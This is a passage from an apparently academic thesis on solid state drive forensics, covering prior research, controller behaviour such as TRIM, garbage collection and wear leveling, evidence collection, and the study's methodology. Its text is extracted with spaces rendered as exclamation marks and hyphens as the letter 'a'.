Implementation!of!an!Efficient!WearaLeveling!Algorithm!for!SolidaStateaDisk!Microcontrollers”!was! referenced.!!This!article!explored!several!of!the!issues!mentioned!in!the!previous!article,!such!as!the! management!of!block!erasures!and!movement!of!data!from!one!area!on!the!drive!to!another!(Chang,! 6:2a6:5).!!Because!SSDs!do!not!have!the!seek!time!associated!with!mechanical!drives,!there!is!minimal! performance!penalty!for!random!versus!sequential!reads.!!Consequently,!this!results!in!data!being! Kopchak! ! 15! scattered!widely!across!a!drive,!along!with!many!blocks!of!data!that!may!be!marked!“invalid”!but!still! contain!information!needing!or!waiting!to!be!erased!(6:6,!6:8).!!This!erasure!procedure!is!handled! differently,!depending!on!the!controller!chip!and!drive!firmware.!!With!so!many!variables,!including! drive!autonomy,!investigating!the!wearaleveling!algorithms!used!in!solidastate!drives!could!provide!an! interesting!pathway!for!forensics!investigations.!!! ! To!better!understand!how!a!representation!of!an!SSD!can!be!presented!to!the!operating!system,! the!article!“Modeling!and!Simulating!Flash!based!SolidaState!Disks!for!Operating!Systems”!was!chosen.!! Currently,!virtually!all!research!concerning!SSDs!is!directly!performed!on!the!physical!hardware!itself.!! There!has!been!little!research!into!how!these!drives!might!be!simulated,!to!allow!them!to!be!better! tested,!dissected,!and!studied.!!Currently,!the!majority!of!the!logic!performed!within!an!SSD!drive!is! done!by!the!drive’s!controller!itself!(Maghraoui,!17).!!In!many!cases,!the!operating!system!is!not!aware! of!any!major!differences!between!a!magnetic!hard!drive!and!a!flash!based!solid!state!disk.!!If!an! operating!system!was!more!disk!type!aware,!there!potentially!could!be!many!benefits,!especially!with! respect!to!SSDs,!their!block!management,!and!data!security.!!However,!this!could!have!potentially! disastrous!impacts!on!the!viability!of!current!forensics!recovery!methods!and!investigation!procedures.!! Being!able!to!simulate!the!behavior!of!an!SSD!and!tailoring!this!ability!to!develop!improvements!to! operating!system!management!routines!for!these!types!of!devices!would!be!a!major!breakthrough.!! Unfortunately,!the!simulator!developed!as!part!of!this!research!was!limited!to!a!kernel!extension!for!the! AIX!operating!system,!which!makes!it!less!accessible!to!many!users.!!At!the!present!time,!physical! hardware!will!still!need!to!be!the!primary!test!bed.! ! Perhaps!one!of!the!most!commonly!cited!papers!with!respect!to!data!sanitization!and!computer! forensics!was!published!by!Peter!Gutmann!and!Colin!Plumb!in!1996:!“Secure!Deletion!of!Data!from! Magnetic!and!SolidaState!Memory”.!!This!paper!described!a!secureadeletion!algorithm!utilizing!a!series! Kopchak! ! 16! of!35!patterns!to!be!written!over!the!data!to!be!erased.!!The!majority!of!the!patterns!written!using!this! method!were!not!random,!but!instead!targeted!various!encoding!methods!used!by!different!storage! technologies!prevalent!when!the!research!was!conducted!(Gutmann,!np).!!Since!patterns!are!targeted! towards!certain!encoding!techniques,!if!the!specific!encoding!is!known,!only!the!patterns!designed!for!a! certain!method!are!necessary!(np).!!Using!a!pattern!designed!for!a!different!encoding!method!is!akin!to! writing!random!data!on!the!drive.!!!The!implementation!of!the!ATA!secure!erase!command!has!reduced! the!need!for!the!Gutmann!method,!especially!when!an!entire!drive!is!being!sanitized.!!This!paper!is! notable!from!a!historical!standpoint,!since!it!is!commonly!referenced!when!considering!forensic!data! recovery.!!It!is!interesting!to!note!that!the!research!in!this!paper!is!often!misunderstood,!to!the!point! where!Gutmann!has!added!an!appendix!to!the!research!to!address!these!misunderstandings!and! misconceptions,!and!emphasize!that!the!erasure!patters!described!are!not!applicable!to!most!modern! storage!technologies!(np).! ! In!2010,!a!research!report!involving!solid!state!drives!and!forensic!recovery!was!published.!!The! article,!“Solid!State!Drives:!The!Beginning!of!the!End!for!Current!Practice!in!Digital!Forensic!Recovery?”! detailed!several!experiments!where!the!forensic!properties!of!a!traditional!magnetic!hard!drive!were! compared!to!a!solid!state!drive.!!This!study!demonstrated!that!a!solid!state!drive!is!fundamentally! different!from!a!magnetic!storage!drive,!and!it!is!possible!for!the!drive!controller!in!one!of!these!devices! to!manipulate!data!on!its!own!(Bell,!7a10).!!Furthermore,!the!presence!of!a!writeablocker!did!not!seem! to!prevent!irrecoverable!data!loss!from!occurring!(10a11).!!This!article!is!groundbreaking,!since!it!is!the! first!to!call!into!question!traditional!forensic!practices,!and!alert!investigators!to!take!caution!when! working!with!these!drives.!!However,!the!scope!of!the!research!conducted,!as!well!as!the!sample!size! used,!was!quite!minimal.!!Additionally,!the!study!only!focused!on!drives!that!had!been!quickaformatted,! as!opposed!to!considering!other!use!patterns!or!deletion!procedures.!!!As!a!result,!the!reader!of!this! article!is!left!with!many!questions,!and!few!definitive!answers.! Kopchak! ! 17! ! In!2011,!researchers!at!Carnegie!Mellon!University!performed!an!empirical!analysis!of!solid!state! disk!data!retention.!!This!study!sought!to!determine!the!impact!of!various!operating!systems!on!the! operation!of!the!garbage!collection!algorithms!of!different!solid!state!drives,!with!particular!attention! paid!to!the!TRIM!command.!!This!ATA!command!serves!to!manage!blocks!of!storage!that!contain!data! no!longer!used!by!the!operating!system!(King,!S112aS113).!!Since!flashabased!memory!cells!must!be! completely!erased!to!be!reaused,!the!cleanup!of!these!cells!can!cause!a!major!loss!of!forensicallya interesting!data.!!The!researchers!concluded!that!there!is!a!significant!amount!of!variability!concerning! combinations!of!operating!systems,!format!types,!and!solid!state!drive!controllers!(S116).!!In!some! cases,!deleted!data!is!able!to!be!recovered!or!nearly!completely!recovered.!!However,!in!other!cases,! most!notably!those!involving!operating!systems!and!drives!supporting!TRIM,!data!is!completely!sanitized! within!minutes!of!deletion!(S116aS117).!!Once!again,!there!are!a!substantial!number!of!variables! involved!in!determining!cases!where!data!is!recoverable!and!when!it!is!lost.!!However,!a!fundamental! fact!remains!–!solid!state!drives!demand!different!approaches!for!forensic!investigation,!and!the! technology!and!challenges!involved!are!not!yet!well!understood.! ! Wei,!et!al,!presented!an!article!involving!the!reliable!erasure!of!data!from!flashabased!solid!state! drives.!!This!article!explored!the!effectiveness!of!traditional!hardadrive!sanitization!procedures,!including! the!implementation!of!the!ATA!secureaerase!command,!as!well!as!the!use!of!data!wiping!applications.!! This!study!found!that!the!entire!SSD!can!generally!be!successfully!sanitized!using!existing!techniques! (Wei,!12).!!However,!singleafile!sanitization!techniques!were!consistently!ineffective!at!permanently! removing!data!from!the!drive!(7).!!This!research!also!uncovered!a!notable!variability!in!the! implementation!of!ATA!commands!for!secure!erase.!!In!several!cases,!these!commands!were!found!to! be!completely!ineffective!at!actually!erasing!the!drive,!while!others!worked!just!as!effectively!as!those! implemented!on!magnetic!hard!drive!counterparts!(4a5).!!This!article!also!looked!beyond!the!drive! controller!and!examined!the!flash!memory!chips!themselves.!!When!bypassing!the!flash!translation!layer! Kopchak! ! 18! (FTL),!it!is!possible!to!examine!the!contents!of!individual!memory!cells.!!Data!may!exist!multiple!times! within!different!flash!chips!at!any!given!point!in!time,!and!this!data!can!be!recovered!by!physically! exploring!the!flash!memory!itself!(10).!!This!fact!could!prove!extremely!helpful!to!forensics!investigators,! who!might!be!searching!for!fragments!of!evidence.!!Since!forensics!and!data!sanitization!(antiaforensics)! go!handainahand,!this!article!provided!very!useful!background!information!regarding!the!possibility!of! recovering!data!from!solid!state!drives!and!individual!flash!memory!chips.! ! A!2012!paper!by!Yuri!Gubanov!and!Oleg!Afonin!entitled!“Why!SSD!Drives!Destroy!Court! Evidence,!and!What!Can!Be!Done!About!It”!addresses!many!early!concerns!about!the!impact!of!solid! state!drives!on!the!digital!forensics!process.!!The!central!theme!of!this!paper!is!the!contamination!of! evidence,!or!selfacorrosion!of!evidence!by!the!solid!state!drive’s!controller.!!!Unlike!traditional!solid!state! drives,!there!are!many!factors!that!influence!the!likelihood!of!data!recoverability.!!The!presence!and! support!of!the!TRIM!command!along!with!the!drive!usage!and!operating!system!configuration!will!often! have!a!significant!impact!on!forensics!efforts.!!!This!paper!also!addressed!the!impact!of!fulladisk! encryption!on!the!recoverability!of!data.!!Interestingly,!a!fullyaencrypted!SSD!is!more!likely!to!be!able!to! have!data!recovered!that!a!nonaencrypted!one,!provided!the!investigator!has!access!to!the!decryption! key!or!decryption!password!for!the!drive.!!This!is!due!to!the!fact!that!solid!state!drive!controllers!are!not! able!to!optimize!data!and!TRIM!is!typically!nonafunctional!on!a!fully!encrypted!disk.!!! ! Finally,!a!2013!paper!by!Gabriele!Bonetti,!Marco!Viglione,!Alessandro!Frossi,!Federico!Maggi,! Stefano!Zanero,!and!Politecnico!di!Milano!entitled!“A!Comprehensive!Blackabox!Methodology!for! Testing!the!Forensic!Characteristics!of!Solidastate!Drives”!builds!on!much!of!the!previous!work! conducted!by!researchers!such!as!Bell.!!These!researchers!recognize!the!practicality!and!potential!value! of!performing!preliminary!forensic!investigation!techniques!through!the!SSD’s!controller!(termed!blacka box!analysis)!versus!a!more!complex!and!failureaprone!approach!of!bypassing!the!flash!translation!layer! Kopchak! ! 19! and!accessing!the!flash!memory!chips!directly!(termed!whiteabox!analysis).!!This!research!utilized!similar! methodologies!as!Bell!and!in!some!case!did!not!successfully!replicate!the!results!previously!seen!in!this! research,!even!using!identical!drives,!controllers,!and!firmware.!!Based!on!an!analysis!of!three!popular! SSD!models!and!the!presence!of!TRIM,!garbage!collection,!wear!leveling,!and!compression,!these! researchers!seek!to!establish!a!framework!for!gauging!the!likelihood!for!successful!file!recovery!on!a! given!SSD.!!Based!on!the!results!of!their!experimentation,!researchers!assigned!the!pool!of!test!SSDs!a! ranking!from!Complete!Wiping!(no!data!can!be!recovered)!to!Platter!Disk!equivalent!(the!SSD!behavior! matches!that!of!a!traditional!hard!drive).!!The!research!conduced!in!this!study!will!support!many!of!the! conclusions!first!seen!in!this!paper!and!can!use!this!framework!to!communicate!the!results.!!! ! Solid!state!drive!technology!is!still!in!its!infancy.!!There!is!much!more!that!needs!to!be! researched,!developed,!and!understood!regarding!these!devices.!!As!with!the!implementation!of!any! new!equipment,!there!are!inherent!changes!that!must!be!evaluated!in!light!of!existing!technologies!and! processes.!!Solid!state!drives!are!a!very!different!technology!than!magnetic!storage!media.!!These!drives! use!dissimilar!algorithms!for!storing!data!than!traditional!disks,!contain!surplus!memory!capacity!for! accounting!and!replacing!failed!memory!blocks,!and!must!manage!deletion!operations,!which!can!only! be!performed!on!an!entire!block!at!a!time.!!Consequently,!this!revolutionary!change!in!storage! architecture!will!demand!a!corresponding!revolution!in!the!computer!forensics!field.!!Understanding!the! current!research!in!this!area!will!help!direct!the!scope!of!testing!and!the!issues!that!must!be!explored! and!addressed,!and!guide!the!focus!of!this!study!to!modify!and!improve!existing!forensics!techniques!to! successfully!manage!this!new!technology.! ! ! ! Kopchak! ! 20! Challenges& ! This!research!will!focus!on!and!attempt!to!reconcile!several!of!the!challenges!faced!by!forensics! investigators!when!working!with!solid!state!drives.!!One!area!of!particular!concern!is!the!autonomy!of! solid!state!drives,!and!the!potential!for!these!devices!to!modify!or!delete!evidence!without!any!external! input!by!the!investigator.!!Wear!leveling!and!garbageacollection!algorithms!may!result!in!data!being! moved!between!or!removed!from!physical!flash!memory!locations.!!Since!these!operations!are!managed! by!the!onboard!SSD!controller,!deletions!may!occur!independently!of!any!commands!issued!by!a!host! device!controller!of!the!motherboard!or!operating!system,!regardless!of!whether!or!not!a!write!blocker! is!in!place!(Bell,!10a11).!!It!is!entirely!possible!that!modification!could!occur!while!the!device!is!merely! powered!on,!yet!disconnected!from!any!computer!or!data!connection.!!This!research!will!investigate!the! autonomy!of!SSDs!upon!the!deletion!of!a!file,!and!attempt!to!isolate!the!garbage!collection!operations!in! order!to!determine!which!events!are!more!likely!to!trigger!evidence!loss.! The!management!of!writes!and!rewrites!within!a!solid!state!drive!presents!a!new!challenge!to! forensic!investigators.!!The!physical!requirement!that!flash!cells!be!completely!erased!before!being! rewritten!is!a!significant!change!from!the!operation!of!magnetic!hard!drives,!where!data!could!be! rewritten!without!any!preparation!or!erasure!of!the!media.!!Since!the!process!of!refreshing!a!flash!cell!is! timeaintensive,!it!is!generally!best!performed!when!the!drive!is!idle!as!opposed!to!when!data!is!being! overwritten.!!The!performance!of!a!solid!state!drive!can!be!heavily!dependent!on!a!pool!of!available! flash!which!is!prearefreshed!and!ready!for!use!(Leventhal,!27).!!Because!these!drives!are!marketed!as! performance!boosting!devices,!manufacturers!are!under!constant!pressure!to!increase!the!speed!of! their!drives.!!Current!forensics!work!relies!on!recovering!data!artifacts!produced!during!the!magnetic! recording!process.!!These!processes!are!not!designed!with!the!architecture!of!an!SSD!in!mind.!!Current! forensic!practices!must!be!adapted!in!order!to!yield!results!with!this!new!technology.! Kopchak! ! 21! Solid!state!drives!also!present!a!marked!increase!in!the!number!of!variables!that!must!be!considered! when!conducting!an!investigation.!!When!working!with!traditional!hardware,!the!data!recovery!process! is!mainly!dependent!on!the!operating!system!and!the!file!system!of!the!evidence!drive.!!For!example,! evidence!from!a!Windows!machine!using!a!magnetic!hard!drive!can!be!captured!and!processed!using! similar!procedures!in!nearly!all!investigations,!whether!or!not!the!drive!is!a!desktop!or!laptop!form! factor,!contains!a!certain!storage!capacity,!or!is!made!by!a!specific!manufacturer.!!However,!SSDs!can! behave!differently!depending!on!the!operating!system!in!use!(King,!S114).!!The!properties!of!individual! drives!are!significantly!influenced!by!the!firmware!of!the!onboard!SSD!controller.!!Different! manufacturers!produce!drives!with!different!controllers!or!controller!firmware!versions,!and!competing! models!of!SSDs!contain!appropriate!quantities!of!spare!flash!memory!capacity!in!accordance!with!the! manufacturer’s!expected!use!model!for!the!drive.!!Each!of!these!differences!poses!a!variable!and! potential!challenge!to!forensic!investigators.!!Although!it!will!be!impossible!to!test!every!possible! combination!that!might!appear!in!an!actual!forensic!investigation,!this!research!will!attempt!to! demystify!at!least!some!of!these!variables,!in!order!to!provide!insight!for!future!work!and!investigations.! ! ! Kopchak! ! 22! Overview&of&Storage&Architecture& Solid!state!drives!and!magnetic!hard!drives!are!fundamentally!different!hardware.!!Both!of!these! storage!platforms!utilize!different!material!properties!to!store!data!on!their!respective!physical!media.!! Due!to!these!distinct!differences,!magnetic!hard!drives!and!solid!state!drives!cannot!be!considered!to!be! the!same!type!of!hardware,!even!though!both!of!these!devices!accomplish!the!same!goal.! Both!of!these!drives!share!a!common!property!–!they!are!designed!to!be!presented!as!storage! to!an!operating!system.!!Although!solid!state!drives!represent!a!newer,!updated!storage!technology,! they!are!intended!to!serve!as!dropain!replacements!for!traditional!hard!drives.!!In!general,!the!operating! system!should!not!require!any!special!modification!or!drivers!to!utilize!either!form!of!storage.!!Drives!are! ultimately!designed!to!abstract!the!physical!medium!of!data!storage!from!the!user.!!However,!from!an! information!forensics!perspective,!understanding!the!operations!that!occur!behind!this!layer!of! abstraction!is!of!critical!importance.!!Although!both!the!operating!system!and!the!user!may!be!naïve!of! the!distinction!between!different!types!of!drives,!a!forensics!investigator!must!be!acutely!aware!of!the! unique!characteristics!of!each!type!of!storage!device!they!must!interrogate!for!evidence.! Magnetic&Hard&Drives& The!operation!and!behavior!of!traditional!hard!drives!is!well!understood!and!documented.!!The! form!and!function!of!these!drives!has!been!more!or!less!unchanged!over!the!past!fifteen!to!twenty! years.!!Although!drive!capacities!have!increased!exponentially,!fundamentally,!the!process!by!which!the! data!itself!is!stored,!encoded,!and!accessed!is!essentially!unchanged.!!Because!of!this,!forensics! investigators!are!familiar!with!handling!these!types!of!drives.! The!inside!of!a!hard!drive!contains!circular!metal!discs,!which!are!called!platters.!!The!platters! are!typically!made!from!aluminum,!which!is!coated!with!a!magnetic!recording!layer.!!Platters!have!also! been!made!from!glass!and!ceramic!substrates!as!well.!!Platters!have!a!fixed!capacity,!and!drives!may!use! Kopchak! ! 23! multiple!stacked!platters!in!order!to!increase!the!overall!capacity!of!the!drive.!!When!the!drive!is!in! operation,!these!platters!spin!rapidly!at!a!constant!speed!that!is!governed!by!a!precise!motor.!!Data!is! recorded!in!a!series!of!circular!tracks,!which!are!written!and!accessed!using!a!recording!head.!!This!drive! component!is!physically!analogous!to!the!needle!on!a!phonograph,!but!it!does!not!operate!in!a!purely! sequential!manner.!!Additionally,!hard!drive!tracks!consist!of!concentric!circles,!as!opposed!to!a!spiral! groove.!! !The!drive!electronics!are!responsible!for!moving!the!head!to!(seeking)!the!proper!position!to! align!the!drive!heads!over!the!track!containing!the!data!that!is!to!be!written!or!read.!!The!data!itself!is! stored!in!sectors,!which!represent!the!smallest!quantity!of!storage!that!is!usable!at!a!time.!!Generally,! drives!use!a!sector!side!of!512!bytes,!although!larger!capacity!drives!are!moving!to!larger!sector!sizes!in! response!to!everaincreasing!platter!densities.!!The!actual!data!is!read!and!recorded!using!a!magnetic! coil.!!The!drive!electronics!are!able!to!discern!minute!differences!in!the!magnetic!field!of!the!drive! platters,!and!decode!this!into!a!binary!representation!of!the!encoded!and!stored!data.! !In!order!to!accurately!read!and!store!data,!a!great!deal!of!precision!between!all!these! mechanical!and!physical!components!is!required.!!Normal!drive!operation!can!be!negatively!impacted!by! shock,!vibration,!or!dust!coming!in!contact!with!the!head!or!platters.!!Any!disassembly!of!a!hard!drive! places!the!stored!data!at!extreme!risk!for!corruption,!due!to!the!tight!mechanical!tolerances!required.!! Generally,!any!work!involving!the!platters!themselves!must!be!done!in!a!cleanaroom!environment!by!an! engineer!familiar!with!the!dangers!and!processes!involved.!!Depending!on!the!condition!of!a!drive,!it!is! possible!to!rebuild!a!damaged!or!nonafunctional!drive!to!recover!critical!data.!!This!is!an!inherently! perilous!and!expensive!process!which!is!only!employed!when!the!value!of!the!data!involved!exceeds!the! costs!and!risks!associated!with!such!data!recovery!methods.! ! & Kopchak! ! 24! Solid&State&Drives& Solid!state!drives!are!designed!to!serve!as!dropain!replacements!for!traditional!hard!drives.!! Although!the!physical!storage!media!and!operation!of!the!device!is!completely!different!when!compared! to!a!magnetic!hard!drive,!the!drive!electronics!are!designed!to!abstract!these!properties!from!the! operating!system!and!user!as!much!as!possible.!!From!a!consumer!and!endauser!perspective,!this!is!a! major!benefit,!since!these!drives!will!work!with!their!existing!operating!systems!and!hardware!without! any!additional!inconvenience!or!effort.!!However,!since!these!drives!are!fundamentally!different! technologies,!techniques!for!obtaining!and!managing!evidence!acquisition!from!these!drives!may!need! to!change.! Evaluating!solid!state!drives!is!a!challenging!proposition:!although!the!basic!data!storage!properties! are!constant!across!product!lines,!there!is!a!significant!degree!of!variance!between!the!drives! themselves.!!Individual!drive!components,!including!the!type!of!flash!memory,!the!controller,!the! firmware,!and!the!compression!and!data!management!algorithms!can!differ!greatly!between!individual! drive!models,!and!even!more!substantially!between!manufacturers.!!! Flash&Memory& Flash!memory!is!the!physical!storage!medium!in!a!solid!state!drive.!!The!structure!and!physical! properties!of!flash!memory!cells!are!responsible!for!many!of!the!operating!characteristics!of!solid!state! drives.!!In!many!respects,!significant!engineering!accommodations!are!required!for!raw!flash!memory!to! come!together!as!a!single!storage!device.! Different!types!of!flash!memory!cells!are!also!available!–!SLC!and!MLC.!!Singlealevel!cell!(SLC)!flash! memory!cells!store!one!bit,!represented!in!binary!as!either!a!one!or!a!zero.!!Multialevel!cell!(MLC)!flash! memory,!on!the!other!hand,!offers!the!ability!to!store!two!bits!in!a!single!cell.!!This!is!accomplished!by! using!multiple!levels!of!charge!to!simulate!the!binary!values!of!00,!01,!10,!and!11.!!Different!voltage! Kopchak! ! 25! levels!correspond!to!different!values.!!Due!to!the!minute!differences!between!the!electrical! characteristics!of!these!binary!values,!MLC!flash!is!significantly!more!sensitive!(and!potentially!less! reliable)!than!SLC!flash.! At!the!physical!layer,!flash!memory!is!divided!into!pages.!!Pages!are!the!smallest!addressable!unit! within!a!flash!memory!cell.!!Pages!cannot!be!overwritten,!due!to!the!fact!that!erasing!pages!could! potentially!modify!adjacent!cells!within!a!block.!!This!is!a!physical!limitation!of!the!storage!medium!itself.!! Due!to!this!restriction,!only!entire!blocks!are!erased!at!a!time.!!! A!completely!overwritten!flash!cell!is!represented!in!binary!as!being!filled!entirely!with!1s.!!To!store! data,!these!1s!are!overwritten!with!0s.!!However,!once!a!1!is!changed!to!a!0,!it!cannot!be!changed!back! without!completely!erasing!the!block!(resetting!it!back!to!1s)!and!starting!over!from!scratch.!!!At! present,!this!is!an!absolute!requirement,!since!the!process!of!erasing!a!block!requires!significant! quantities!of!both!electrical!current!and!time.!!!! When!data!is!deleted!on!a!solid!state!drive,!the!blocks!containing!the!data!are!marked!as!invalid.!! However,!since!they!still!contain!data,!they!cannot!be!immediately!reused!without!first!being!erased!to! a!clean!state!and!returned!to!the!pool!of!free!blocks.!!These!operating!procedures!ensure!that!there!is! some!period!of!delay!from!the!time!data!is!deleted!at!the!operating!system!level!to!when!it!is!actually! deleted!from!the!flash!memory!itself.! Flash!memory!cells!also!have!a!finite!usable!amount!of!write!cycles.!!It!is!not!uncommon!for! individual!blocks!to!fail!with!age!as!they!are!used.!!Due!to!the!nature!of!computer!I/O!operations,!certain! files!are!more!frequently!modified!than!others.!!This!results!in!uneven!utilization!patterns,!where!some! blocks!are!frequently!rewritten!and!others!(such!as!the!locations!of!core!operating!system!files)!sit! Kopchak! ! 26! stagnant!for!extended!periods!of!time.!!The!drive!controller!is!responsible!for!ensuring!even!wear!across! the!entire!solid!state!drive.! ! & Kopchak! ! 27! Controllers& !The!heart!of!a!solid!state!drive!is!its!controller.!!This!device!is!responsible!for!all!operational!aspects! of!a!solid!state!drive.!!The!choice!of!a!controller!and!the!implementation!of!its!firmware!can!have!a! significant!consequence!on!the!overall!impact!and!performance!of!the!drive!itself.!!There!are!several! varieties!of!competing!controller!designs!which!implement!features!differently.!!Furthermore,! manufacturers!frequently!customize!controller!firmware!to!help!distinguish!their!products.!!These! differences!complicate!the!evaluation!of!solid!state!drives,!since!the!characteristics!of!the!hardware!has! a!tendency!to!vary!across!manufacturers!and!even!individual!models!of!drives.!! By!far,!the!slowest!operation!in!a!currentageneration!solid!state!drive!is!the!erasure!of!invalid!flash! cells!to!restore!them!to!a!refreshed!and!usable!state.!!Since!any!valid!data!must!be!moved!out!of!a!block! before!it!is!erased,!this!becomes!an!even!more!timeaconsuming!process.!!Early!generation!SSDs!showed! noticeable!degradation!of!performance!as!they!aged,!due!to!the!lack!of!available!unused!pages!for! storing!data!as!it!was!written.!!When!no!free!pages!are!available,!the!SSD!controller!must!manipulate! the!existing!data,!shifting!around!valid!data!to!other!areas!of!the!drive!so!that!entire!blocks!may!be! erased.!!A!design!goal!of!more!recent!SSDs!is!to!prevent!this!degradation!of!performance!whenever! possible.!!To!prevent!SSDs!from!incrementally!getting!slower!as!they!are!used,!manufacturers! implement!a!variety!of!garbage!collection!techniques!to!ensure!a!pool!of!available!pages!are!continually! ready!for!use.!!! The!time!periods!where!any!drive!is!actively!reading!or!writing!data!is!generally!a!small!component! of!the!overall!duration!of!a!drive’s!lifecycle.!!This!means!that!the!drive!spends!a!significant!portion!of!its! lifetime!sitting!idle,!waiting!for!the!next!I/O!operation!to!occur.!!To!prevent!performance!degradation,! SSD!controllers!frequently!use!idle!time!for!performing!garbage!collection!and!wear!leveling!operations.!! By!keeping!an!internal!record!of!invalid!pages!waiting!for!erasure,!a!controller!can!free!up!entire!blocks! Kopchak! ! 28! so!that!they!can!be!erased.!!By!doing!this!work!when!the!drive!is!idle,!the!controller!ensures!that!free! blocks!are!readily!available.! The!time!period!from!when!data!is!erased!by!the!user!and!ultimately!purged!from!the!drive!by!the! garbage!collection!mechanism!varies!from!drive!to!drive.!!Some!operating!systems!speed!up!the!process! by!issuing!the!TRIM!command,!which!notifies!the!SSD!of!deleted!pages.!!On!other!solid!state!drives,!this! data!will!be!permanently!deleted!very!nearly!immediately.!!On!other!drives,!this!data!may!remain!on!the! drive!in!a!stagnant!but!undeleted!state!for!a!longer!duration!of!time.! Wear!leveling!procedures!are!also!managed!by!a!solid!state!drive’s!controller.!!As!previously! discussed,!flash!memory!cells!have!a!finite!number!of!write!cycles!that!they!can!sustain!before!they! degrade!and!become!unusable.!!To!compensate!for!the!uneven!wear!patterns!caused!by!general! operating!system!I/O!patterns,!controllers!will!move!data!to!different!flash!cells.!!Data!that!is!frequently! rewritten!will!be!moved!to!cells!that!are!fresher,!whereas!more!constant!data!will!be!moved!to!cells!that! have!seen!a!higher!degree!of!wear.!!The!ultimate!goal!of!this!process!is!to!ensure!a!fairly!uniform! distribution!of!write!cycles!across!the!entire!set!of!flash!memory!in!a!solid!state!drive.!!The!wear!leveling! process!is!ongoing!and!constant,!allowing!for!the!longest!drive!lifetime!possible.! SSD!controllers!also!frequently!perform!a!significant!amount!of!data!processing!to!optimize!it!for! storage!on!the!flash!media.!!Although!these!processes!vary!according!to!the!type!of!controller!and! manufacturer's!firmware!implementation,!common!manipulations!include!compression,!deduplication,! and!striping!of!data!across!flash!chips!for!redundancy.! At!any!given!point!in!time,!there!is!a!significant!amount!of!work!being!performed!by!a!drive! controller.!!One!of!the!most!disastrous!side!effects!of!read!and!write!cycles!is!the!concept!of!write! amplification.!!Frequently,!writing!data!to!flash!requires!much!more!effort!within!the!drive!than!simply! Kopchak! ! 29! recording!the!data!to!flash!and!moving!on!to!the!next!task.!!Wear!leveling!and!garbage!collection! processes!also!require!write!and!erase!cycles!to!accomplish!these!tasks.!!Although!write!amplification!is! impossible!to!avoid,!manufacturers!seek!to!develop!methods!to!reduce!write!amplification!factors!as! much!as!possible.!!To!prevent!redundant!writes!of!information!that!already!is!stored,!some!SSD! controllers!may!analyze!incoming!data!and!temporarily!store!it!on!an!internal!cache,!for!comparison! with!existing!data.!!In!the!case!of!a!small!modification!of!a!large!file,!it!is!likely!that!a!majority!of!the!file! will!remain!constant.!!Some!controllers!will!recognize!this,!and!write!out!only!the!changes!to!the!file!as! opposed!to!the!entire!file.!!This!feature!greatly!reduces!the!amount!of!file!manipulation!that!occurs! within!the!flash!memory!itself.!!! Deduplication!seeks!to!avoid!writing!identical!blocks!of!data!to!multiple!locations!on!the!drive.!!A! controller!that!supports!deduplication!will!analyze!incoming!data!and!compare!its!contents!to!cells! already!written.!!If!there!is!an!identical!match,!the!controller!will!use!a!single!block!to!represent!both! blocks.!!In!a!perfect!scenario,!a!drive!containing!multiple!copies!of!the!same!file!will!only!store!a!single! copy!of!data!within!the!flash!memory.!!Although!data!deduplicated!by!a!solid!state!controller!will! actually!result!in!more!free!flash!space!being!available!within!the!SSD,!this!space!is!reserved!by!the!drive! and!not!revealed!to!the!user!as!additional!storage!space.!!! In!many!respects,!the!SSD!is!much!less!related!to!a!standard!hard!drive!than!is!apparent!to!the!user.!! The!underlying!hardware!and!software!come!closer!to!emulating!an!enterprise!level!SAN!or!RAID!array! of!flash!chips!than!a!simple!hard!drive.! ! & Kopchak! ! 30! Evidence&Collection& Perhaps!the!most!critical!stage!of!any!forensics!case!is!the!evidence!collection!process.!!Any! mistakes!that!are!made!during!this!stage!can!have!significant!and!devastating!negative!ramifications!on! the!success!of!the!entire!case.!!In!order!for!evidence!to!be!considered!admissible!in!a!court!of!law,!a! forensics!investigator!must!be!able!to!demonstrate!that!sound!forensics!techniques!were!utilized! throughout!the!course!of!the!investigation.!!The!investigator!must!also!be!able!to!demonstrate!the!chain! of!custody!for!the!evidence,!and!also!be!able!to!ascertain!that!the!evidence!was!never!modified,!altered,! or!corrupted!as!a!result!of!the!investigation.! One!of!the!standard!tools!used!to!prevent!contamination!of!evidence!during!a!forensics! investigation!is!a!write!blocker.!!This!is!a!device!that!allows!for!a!source!drive!to!be!imaged,!while! prohibiting,!or!blocking,!any!write!operations!from!being!performed!on!the!evidence!drive.!!In!order!for! evidence!to!be!considered!to!be!admissible!in!court,!the!use!of!a!write!blocker!is!expected.!!! ! ! ! Kopchak! ! 31! Methodology& ! This!work!is!primarily!a!quantitative!study,!but!there!were!also!some!qualitative!methods! employed!as!well.!!To!begin!with,!a!pool!of!solid!state!drives!was!acquired.!!Initially,!it!was!intended!to! accomplish!this!by!contacting!drive!manufacturers!and!requesting!loaner!or!demo!models!for!this! research,!in!order!to!obtain!a!pool!of!various!manufacturer’s!devices!and!controller!chips!to!achieve!a! sufficient!sample!size.!!The!goal!was!to!obtain!a!large!sample!size,!with!a!contingency!for!conducing! research!on!any!drives!that!became!available.!!Ultimately,!it!proved!difficult!to!obtain!participation!from! the!majority!of!manufacturers!that!were!contacted,!either!due!to!the!lack!of!response!or!intellectual! property!concerns.!!To!prevent!this!setback!from!diluting!the!sample!size,!several!commercially!available! drives!from!various!manufacturers!were!obtained!for!testing.!!The!drives!used!for!these!tests!represent! a!sample!of!drives!available!during!the!2012!model!year!from!various!manufacturers.!!For!comparison,!a! standard!magnetic!hard!drive!was!used!as!a!control!for!all!tests.! ! All!tests!were!conducted!to!simulate!a!forensics!evidence!capture!process.!!This!primarily! included!the!imaging!and!recovery!of!deleted!files!from!the!pool!of!drives.!!Various!factors!were! manipulated,!one!at!a!time,!to!determine!which!activities!might!result!in!a!successful!or!unsuccessful! recovery!of!files!on!the!drive.!!! In!order!to!understand!the!exact!differences!between!solid!state!drives!and!physical!hard!drives! with!respect!to!the!management!of!deleted!evidence!files,!a!series!of!experiments!were!conducted!to! explore!the!operation!of!the!test!pool!of!drives.!!A!variety!of!test!scenarios!were!designed!to!track!the! results!of!minor!changes!on!the!contents!of!a!drive.!!These!tests!included!the!deletion!of!an!individual! file!(using!various!operating!systems!and!interfaces)!and!the!formatting!of!the!drive!(both!quick!and! full).!!Since!solid!state!drives!can!behave!differently!depending!on!the!amount!of!capacity!in!use!on!the! drive,!experiments!were!conducted!with!a!nearly!blank!drive!to!simplify!the!analysis!of!the!data!and!to! Kopchak! ! 32! reduce!the!number!of!potential!variables.!!In!all!cases,!tests!were!designed!to!build!upon!and!verify!the! results!of!previous!experiments.!!!! Throughout!the!research!process,!a!standardized!test!environment!was!used!across!all!tests.!! 